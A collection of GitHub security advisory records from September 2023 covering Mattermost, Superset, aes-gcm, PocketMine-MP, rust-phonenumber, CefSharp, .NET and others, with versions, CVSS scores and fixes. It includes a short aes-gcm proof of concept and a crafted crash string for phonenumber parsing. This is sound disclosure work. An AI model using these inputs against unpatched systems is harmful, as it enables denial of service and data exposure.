[{'type': 'WEB', 'url': 'https://github.com/pimcore/admin-ui-classic-bundle/security/advisories/GHSA-m988-7375-7g2c'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42817'}, {'type': 'WEB', 'url': 'https://github.com/pimcore/admin-ui-classic-bundle/commit/abd7739298f974319e3cac3fd4fcd7f995b63e4c'}, {'type': 'PACKAGE', 'url': 'https://github.com/pimcore/admin-ui-classic-bundle'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-25T17:34:11Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-h8wh-f7gw-fwpr
|
2023-09-29T20:37:29Z
|
2023-09-29T12:30:16Z
| null |
['CVE-2023-5193']
|
Mattermost Incorrect Authorization vulnerability
|
Mattermost fails to properly check permissions when retrieving a post allowing for a System Role with the permission to manage channels to read the posts of a DM conversation.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.1.0'}, {'fixed': '8.1.1'}]}], 'versions': ['8.1.0']}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.0.0'}, {'fixed': '8.0.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost-server/v6'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '7.8.10'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5193'}, {'type': 'PACKAGE', 'url': 'https://github.com/mattermost/mattermost'}, {'type': 'WEB', 'url': 'https://mattermost.com/security-updates'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T20:37:29Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-fj4x-m62j-wvwg
|
2023-09-29T20:15:06Z
|
2023-09-06T15:30:27Z
| null |
['CVE-2023-37941']
|
Apache Superset Deserialization of Untrusted Data vulnerability
|
If an attacker gains write access to the Apache Superset metadata database, they could persist a specifically crafted Python object that may lead to remote code execution on Superset's web backend. The Superset metadata db is an 'internal' component that is typically only accessible directly by the system administrator and the superset process itself. Gaining access to that database should be difficult and require significant privileges. This vulnerability impacts Apache Superset versions 1.5.0 up to and including 2.1.0. Users are recommended to upgrade to version 2.1.1 or later.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.5.0'}, {'fixed': '2.1.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 2.1.0'}}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-37941'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/superset'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/6qk1zscc06yogxxfgz2bh2bvz6vh9g7h'}]
|
{'cwe_ids': ['CWE-502'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-08T12:18:53Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-hp56-xvf4-g6wr
|
2023-09-22T19:25:11Z
|
2023-09-20T06:30:50Z
| null |
['CVE-2023-43617']
|
Cros secrets may be disclosed to untrusted relay
|
An issue was discovered in Croc through 9.6.5. When a custom shared secret is used, the sender and receiver may divulge parts of this secret to an untrusted Relay, as part of composing a room name.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/schollz/croc/v9'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '9.6.5'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43617'}, {'type': 'WEB', 'url': 'https://github.com/schollz/croc/issues/596'}, {'type': 'PACKAGE', 'url': 'https://github.com/schollz/croc'}, {'type': 'WEB', 'url': 'https://www.openwall.com/lists/oss-security/2023/09/08/2'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/21/5'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:00:11Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9pv7-vfvm-6vr7
|
2023-09-21T17:03:11Z
|
2023-09-20T06:30:50Z
| null |
['CVE-2023-26144']
|
graphql Uncontrolled Resource Consumption vulnerability
|
Versions of the package graphql from 16.3.0 and before 16.8.1 are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts file when parsing large queries. This vulnerability allows an attacker to degrade system performance.
**Note:** It was not proven that this vulnerability can crash the process.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'graphql'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '16.3.0'}, {'fixed': '16.8.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-26144'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphql-js/issues/3955'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphql-js/pull/3972'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphql-js/commit/8f4c64eb6a7112a929ffeef00caa67529b3f2fcf'}, {'type': 'PACKAGE', 'url': 'https://github.com/graphql/graphql-js'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphql-js/releases/tag/v16.8.1'}, {'type': 'WEB', 'url': 'https://security.snyk.io/vuln/SNYK-JS-GRAPHQL-5905181'}]
|
{'cwe_ids': ['CWE-400'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:03:11Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-423w-p2w9-r7vq
|
2023-09-22T16:11:47Z
|
2023-09-22T16:11:47Z
| null |
['CVE-2023-42811']
|
AEADs/aes-gcm: Plaintext exposed in decrypt_in_place_detached even on tag verification failure
|
### Summary
In the AES GCM implementation of decrypt_in_place_detached, the decrypted ciphertext (i.e. the correct plaintext) is exposed even if tag verification fails.
### Impact
If a program using the `aes-gcm` crate's `decrypt_in_place*` APIs accesses the buffer after decryption failure, it will contain a decryption of an unauthenticated input. Depending on the specific nature of the program this may enable Chosen Ciphertext Attacks (CCAs) which can cause a catastrophic breakage of the cipher including full plaintext recovery.
### Details
As seen in the implementation of [decrypt_in_place_detached](https://docs.rs/aes-gcm/latest/src/aes_gcm/lib.rs.html#309) for AES GCM, if the tag verification fails, an error is returned. Because the decryption of the ciphertext is done in place, the plaintext contents are now exposed via `buffer`.
This should ideally not be the case - as noted in page 17 of[ NIST's publication _Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC_](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf):
_In Step 8, the result of Step 7 is compared with the authentication tag that was received as an input: if they are identical, then the plaintext is returned; otherwise,FAIL is returned._
This is seems correctly addressed in the [AES GCM SIV implementation](https://docs.rs/aes-gcm-siv/latest/src/aes_gcm_siv/lib.rs.html#307), where the decrypted buffer is encrypted again before the error is returned - this fix is straightforward to implement in AES GCM. To ensure that these types of cases are covered during testing, it would be valuable to add test cases like [23, 24 ](https://github.com/google/wycheproof/blob/master/testvectors/aes_gcm_test.json#L288)etc from [project wycheproof ](https://github.com/google/wycheproof)to ensure that when a bad tag is used, there is an error on decryption _**and**_ that the plaintext value is not exposed.
### PoC
To reproduce this issue, I'm using [test case 23](https://github.com/google/wycheproof/blob/master/testvectors/aes_gcm_test.json#L288) from project wycheproof.
```rust
let key = GenericArray::from_slice(&hex!("000102030405060708090a0b0c0d0e0f"));
let nonce = GenericArray::from_slice(&hex!("505152535455565758595a5b"));
let tag = GenericArray::from_slice(&hex!("d9847dbc326a06e988c77ad3863e6083")); // bad tag
let mut ct = hex!("eb156d081ed6b6b55f4612f021d87b39");
let msg = hex!("202122232425262728292a2b2c2d2e2f");
let aad = hex!("");
let cipher = Aes128Gcm::new(&key);
let _plaintext = cipher.decrypt_in_place_detached(&nonce, &aad, &mut ct, &tag);
assert_eq!(ct, msg);
```
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:H/A:N'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'aes-gcm'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.10.0'}, {'fixed': '0.10.3'}]}], 'database_specific': {'last_known_affected_version_range': '<= 0.10.2'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/RustCrypto/AEADs/security/advisories/GHSA-423w-p2w9-r7vq'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42811'}, {'type': 'WEB', 'url': 'https://docs.rs/aes-gcm/latest/src/aes_gcm/lib.rs.html#309'}, {'type': 'PACKAGE', 'url': 'https://github.com/RustCrypto/AEADs'}]
|
{'cwe_ids': ['CWE-347'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-22T16:11:47Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-92jh-gwch-jq38
|
2023-09-14T17:10:37Z
|
2023-09-14T17:10:37Z
| null |
[]
|
PocketMine-MP server crash with certain invalid JSON payloads in `LoginPacket` due to dependency vulnerability (again)
|
### Impact
An attacker could crash the server by sending malformed JWT JSON in `LoginPacket` due to a security vulnerability in [`netresearch/jsonmapper`](https://github.com/cweiske/JsonMapper), due to accepting `NULL` values in arrays whose types do not expect `NULL`.
### Patches
This problem was fixed in 5.3.1 and 4.23.1 by updating JsonMapper to include the following commit: pmmp/netresearch-jsonmapper@4f90e8dab1c9df331fad7d3d89823404e882668c
### Workarounds
A plugin may handle `DataPacketReceiveEvent` for `LoginPacket` and check that none of the input arrays contain `NULL` where it's not expected, but this is rather cumbersome.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'pocketmine/pocketmine-mp'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.0.0'}, {'fixed': '5.3.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 5.3.0'}}, {'package': {'ecosystem': 'Packagist', 'name': 'pocketmine/pocketmine-mp'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.23.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 4.23.0'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-92jh-gwch-jq38'}, {'type': 'WEB', 'url': 'https://github.com/pmmp/netresearch-jsonmapper/commit/4f90e8dab1c9df331fad7d3d89823404e882668c'}, {'type': 'PACKAGE', 'url': 'https://github.com/pmmp/PocketMine-MP'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-14T17:10:37Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-79rc-jjh6-rc89
|
2023-09-14T17:10:01Z
|
2023-09-14T17:10:01Z
| null |
[]
|
PocketMine-MP server crash due to incorrect EC curve used for LoginPacket identityPublicKey
|
### Impact
The server uses ECDH to calculate a shared secret for the symmetric encryption key used to encrypt network packets after logging in. ECDH requires that the keys used must both belong to the same elliptic curve. In Minecraft: Bedrock Edition, the curve used is `secp384r1`.
Using any other curve (for example `secp256r1`) to sign the `LoginPacket` JWTs would lead to successfully verifying the login chain, but would later crash due to an uncaught exception during ECDH key derivation due to the client-provided key belonging to a different curve than the server's key. It's also theoretically possible that a non-EC key could be used (e.g. RSA or DH), which would also pass login verification as long as SHA384 hashing algorithm was used for the JWT signatures, and also lead to a crash.
### Patches
The problem was fixed in 4.23.1 and 5.3.1 in the following commit: 4e646d19a4a1e0d082bd4d1f5a58ae0182a268d9
While 4.x would not have crashed when this was encountered, the faulty validation code has also been corrected there.
### Workarounds
A plugin could handle `LoginPacket` and check that all of the `identityPublicKey`s provided in the JWT bodies actually belong to `secp384r1`. This can be checked by verifying that `openssl_pkey_get_details($key)["ec"]["curve_name"]` is set and equal to `secp384r1`. Beware that this element may not exist if the key is not an EC key at all.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'pocketmine/pocketmine-mp'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.2.0'}, {'fixed': '5.3.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-79rc-jjh6-rc89'}, {'type': 'WEB', 'url': 'https://github.com/pmmp/PocketMine-MP/commit/4e646d19a4a1e0d082bd4d1f5a58ae0182a268d9'}, {'type': 'PACKAGE', 'url': 'https://github.com/pmmp/PocketMine-MP'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-14T17:10:01Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-33r7-wjfc-7w98
|
2023-09-29T22:05:57Z
|
2023-09-29T12:30:16Z
| null |
['CVE-2023-5196']
|
Mattermost Uncontrolled Resource Consumption vulnerability
|
Mattermost fails to enforce character limits in all possible notification props allowing an attacker to send a really long value for a notification_prop resulting in the server consuming an abnormal quantity of computing resources and possibly becoming temporarily unavailable for its users.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.1.0'}, {'fixed': '8.1.1'}]}], 'versions': ['8.1.0']}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.0.0'}, {'fixed': '8.0.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost-server/v6'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '7.8.10'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5196'}, {'type': 'PACKAGE', 'url': 'https://github.com/mattermost/mattermost'}, {'type': 'WEB', 'url': 'https://mattermost.com/security-updates'}]
|
{'cwe_ids': ['CWE-400'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T22:05:57Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-whhr-7f2w-qqj2
|
2023-09-22T23:36:31Z
|
2023-09-21T17:10:57Z
| null |
['CVE-2023-42444']
|
phonenumber panics on parsing crafted RF3966 inputs
|
### Impact
The phonenumber parsing code may panic due to a panic-guarded out-of-bounds access on the phonenumber string.
In a typical deployment of `rust-phonenumber`, this may get triggered by feeding a maliciously crafted phonenumber over the network, specifically the string `.;phone-context=`.
### Patches
Patches will be published as version `0.3.3+8.13.9` and backported as `0.2.5+8.11.3`.
### Workarounds
n.a.
### References
n.a.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'phonenumber'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.2.5'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'phonenumber'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.3.0'}, {'fixed': '0.3.3'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/whisperfish/rust-phonenumber/security/advisories/GHSA-whhr-7f2w-qqj2'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42444'}, {'type': 'WEB', 'url': 'https://github.com/whisperfish/rust-phonenumber/commit/2dd44be94539c051b4dee55d1d9d349bd7bedde6'}, {'type': 'WEB', 'url': 'https://github.com/whisperfish/rust-phonenumber/commit/bea8e732b9cada617ede5cf51663dba183747f71'}, {'type': 'PACKAGE', 'url': 'https://github.com/whisperfish/rust-phonenumber'}]
|
{'cwe_ids': ['CWE-1284', 'CWE-248', 'CWE-392'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:10:57Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-4vjr-crvh-383h
|
2023-09-27T20:17:00Z
|
2023-09-27T20:17:00Z
| null |
[]
|
@napi-rs/image affected by libwebp CVE
|
### Impact
Heap buffer overflow in `libwebp` allows a remote attacker to perform an out of bounds memory write via a crafted webp image.
### References
- https://github.com/advisories/GHSA-j7hp-h8jx-5ppr
- https://blog.isosceles.com/the-webp-0day/
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': '@napi-rs/image'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.7.0'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/Brooooooklyn/Image/security/advisories/GHSA-4vjr-crvh-383h'}, {'type': 'WEB', 'url': 'https://github.com/Brooooooklyn/Image/commit/aa07979f6cd0c534a8befea87fac1210a3b621c1'}, {'type': 'WEB', 'url': 'https://blog.isosceles.com/the-webp-0day/'}, {'type': 'PACKAGE', 'url': 'https://github.com/Brooooooklyn/Image'}, {'type': 'WEB', 'url': 'https://github.com/Brooooooklyn/Image/releases/tag/%40napi-rs%2Fimage%401.7.0'}, {'type': 'ADVISORY', 'url': 'https://github.com/advisories/GHSA-j7hp-h8jx-5ppr'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-27T20:17:00Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9xfq-8j3r-xp5g
|
2023-09-28T16:42:58Z
|
2023-09-28T06:30:20Z
| null |
['CVE-2023-44273']
|
Consensys gnark-crypto allows Signature Malleability
|
Consensys gnark-crypto through 0.11.2 allows Signature Malleability. This occurs because deserialisation of EdDSA and ECDSA signatures does not ensure that the data is in a certain interval.
|
[]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/Consensys/gnark-crypto'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.12.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-44273'}, {'type': 'WEB', 'url': 'https://github.com/Consensys/gnark-crypto/pull/449'}, {'type': 'PACKAGE', 'url': 'https://github.com/Consensys/gnark-crypto'}, {'type': 'WEB', 'url': 'https://github.com/Consensys/gnark-crypto/releases'}, {'type': 'WEB', 'url': 'https://github.com/Consensys/gnark-crypto/releases/tag/v0.12.0'}, {'type': 'WEB', 'url': 'https://verichains.io'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-28T16:42:58Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-58rq-69jp-xc23
|
2023-09-21T21:37:45Z
|
2023-09-20T18:30:21Z
| null |
['CVE-2023-43500']
|
Jenkins Build Failure Analyzer Plugin Cross-Site Request Forgery vulnerability
|
Jenkins Build Failure Analyzer Plugin 2.4.1 and earlier does not perform a permission check in a connection test HTTP endpoint.
This allows attackers with Overall/Read permission to connect to an attacker-specified hostname and port using attacker-specified username and password.
Additionally, this HTTP endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
Build Failure Analyzer Plugin 2.4.2 requires POST requests and Overall/Administer permission for the affected HTTP endpoint.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'com.sonyericsson.jenkins.plugins.bfa:build-failure-analyzer'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43500'}, {'type': 'WEB', 'url': 'https://www.jenkins.io/security/advisory/2023-09-20/#SECURITY-3226'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/20/5'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T21:37:45Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-j646-gj5p-p45g
|
2023-09-21T17:11:42Z
|
2023-09-21T17:11:42Z
| null |
[]
|
CefSharp affected by heap buffer overflow in WebP
|
**Google is aware that an exploit for [CVE-2023-4863](https://www.cve.org/CVERecord?id=CVE-2023-4863) exists in the wild.**
### Description
Heap buffer overflow in WebP in Google Chrome prior to 116.0.5845.187 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)
### References
- https://www.cve.org/CVERecord?id=CVE-2023-4863
- https://nvd.nist.gov/vuln/detail/CVE-2023-4863
- https://www.techtarget.com/searchsecurity/news/366551978/Browser-companies-patch-critical-zero-day-vulnerability
|
[]
|
[{'package': {'ecosystem': 'NuGet', 'name': 'CefSharp.Common'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '116.0.230'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'CefSharp.Common.NETCore'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '116.0.230'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/cefsharp/CefSharp/security/advisories/GHSA-j646-gj5p-p45g'}, {'type': 'WEB', 'url': 'https://github.com/cefsharp/CefSharp/commit/f2890ba66170afb0bf742839febe4d20449f758c'}, {'type': 'PACKAGE', 'url': 'https://github.com/cefsharp/CefSharp'}, {'type': 'WEB', 'url': 'https://github.com/cefsharp/CefSharp/releases/tag/v116.0.230'}]
|
{'cwe_ids': [], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:11:42Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-3qf9-qxfj-4whc
|
2023-09-12T20:51:36Z
|
2023-09-12T20:51:36Z
| null |
['CVE-2023-36792']
|
Microsoft Security Advisory CVE-2023-36792: .NET Remote Code Execution Vulnerability
|
# Microsoft Security Advisory CVE-2023-36792: .NET Remote Code Execution Vulnerability
## <a name="executive-summary"></a>Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 7.0 and .NET 6.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A vulnerability exists in Microsoft.DiaSymReader.Native.amd64.dll when reading a corrupted PDB file which may lead to remote code execution. This issue only affects Windows systems.
**Note:** The vulnerabilities [CVE-2023-36792]( https://www.cve.org/CVERecord?id=CVE-2023-36792), [CVE-2023-36793]( https://www.cve.org/CVERecord?id=CVE-2023-36793), [CVE-2023-36792]( https://www.cve.org/CVERecord?id=CVE-2023-36794), [CVE-2023-36796]( https://www.cve.org/CVERecord?id=CVE-2023-36796) are all resolved by a single patch. Get [affected software](#affected-software) to resolve all of them.
## Discussion
Discussion for this issue can be found at https://github.com/dotnet/runtime/issues/91944
### <a name="mitigation-factors"></a>Mitigation factors
Microsoft has not identified any mitigating factors for this vulnerability.
## <a name="affected-software"></a>Affected software
* Any .NET 7.0 application running on .NET 7.0.10 or earlier.
* Any .NET 6.0 application running on .NET 6.0.21 or earlier.
If your application uses the following package versions, ensure you update to the latest version of .NET.
### <a name=".NET 7"></a>.NET 7
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.NETCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-arm64) | >= 7.0.0, <= 7.0.10 | 7.0.11
[Microsoft.NETCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-x64) | >= 7.0.0, <= 7.0.10 | 7.0.11
[Microsoft.NETCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-x86) | >= 7.0.0, <= 7.0.10 | 7.0.11
### <a name=".NET 6"></a>.NET 6
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.NETCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-arm64) | >= 6.0.0, <= 6.0.21 | 6.0.22
[Microsoft.NETCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-x64) | >= 6.0.0, <= 6.0.21 | 6.0.22
[Microsoft.NETCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NETCore.App.Runtime.win-x86) | >= 6.0.0, <= 6.0.21 | 6.0.22
## Advisory FAQ
### <a name="how-affected"></a>How do I know if I am affected?
If you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-software), you're exposed to the vulnerability.
### <a name="how-fix"></a>How do I fix the issue?
* To fix the issue please install the latest version of .NET 6.0 or .NET 7.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
* If you are using one of the affected packages, please update to the patched version listed above.
* If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;
```
.NET Core SDK (reflecting any global.json):
Version: 6.0.300
Commit: 8473146e7d
Runtime Environment:
OS Name: Windows
OS Version: 10.0.18363
OS Platform: Windows
RID: win10-x64
Base Path: C:\Program Files\dotnet\sdk\6.0.300\
Host (useful for support):
Version: 6.0.5
Commit: 8473146e7d
.NET Core SDKs installed:
6.0.300 [C:\Program Files\dotnet\sdk]
.NET Core runtimes installed:
Microsoft.AspNetCore.App 6.0.5 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.NETCore.App 6.0.5 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.WindowsDesktop.App 6.0.5 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
To install additional .NET Core runtimes or SDKs:
https://aka.ms/dotnet-download
```
* If you're using .NET 7.0, you should download and install Runtime 7.0.11 or SDK 7.0.111 (for Visual Studio 2022 v17.4) from https://dotnet.microsoft.com/download/dotnet-core/7.0.
* If you're using .NET 6.0, you should download and install Runtime 6.0.22 or SDK 6.0.317 (for Visual Studio 2022 v17.2) from https://dotnet.microsoft.com/download/dotnet-core/6.0.
.NET 6.0 and and .NET 7.0 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.
Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.
Additionally, if you've deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.
## Other Information
### Reporting Security Issues
If you have found a potential security issue in .NET 6.0 or .NET 7.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at <https://aka.ms/corebounty>.
### Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
### Disclaimer
